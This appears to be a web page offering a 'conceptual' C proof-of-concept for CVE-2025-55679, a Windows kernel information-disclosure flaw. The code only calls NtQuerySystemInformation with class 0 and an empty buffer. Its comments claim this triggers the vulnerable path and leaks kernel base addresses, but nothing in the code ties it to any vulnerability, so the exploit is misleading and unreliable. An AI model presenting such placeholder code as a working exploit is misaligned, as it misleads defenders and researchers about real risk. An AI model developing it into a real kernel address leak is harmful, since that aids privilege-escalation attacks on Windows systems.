CVE-2025-55679 Windows内核不当输入验证导致本地信息泄露漏洞

// CVE-2025-55679 - Windows Kernel Improper Input Validation PoC // This is a conceptual PoC demonstrating local information disclosure // through improper input validation in Windows Kernel. #include <windows.h> #include <stdio.h> // Example: Triggering kernel information disclosure via // NtQuerySystemInformation with crafted input parameters typedef NTSTATUS (WINAPI *NtQuerySystemInformation_t)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); int main() { HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); if (!hNtdll) { printf("[-] Failed to load ntdll.dll\n"); return 1; } NtQuerySystemInformation_t pNtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtdll, "NtQuerySystemInformation"); if (!pNtQuerySystemInformation) { printf("[-] Failed to resolve NtQuerySystemInformation\n"); return 1; } // Allocate buffer with insufficient size to trigger // improper validation in kernel handler ULONG bufferSize = 0; PVOID pBuffer = NULL; // Query with a specific information class that triggers // the vulnerable code path ULONG infoClass = 0; // SystemBasicInformation or other class NTSTATUS status = pNtQuerySystemInformation( infoClass, pBuffer, bufferSize, &bufferSize ); if (status == 0) { printf("[+] Information query succeeded\n"); // Analyze returned data for leaked kernel information // such as kernel base addresses, pool tags, etc. } else { printf("[-] Query failed with status: 0x%08X\n", status); } return 0; }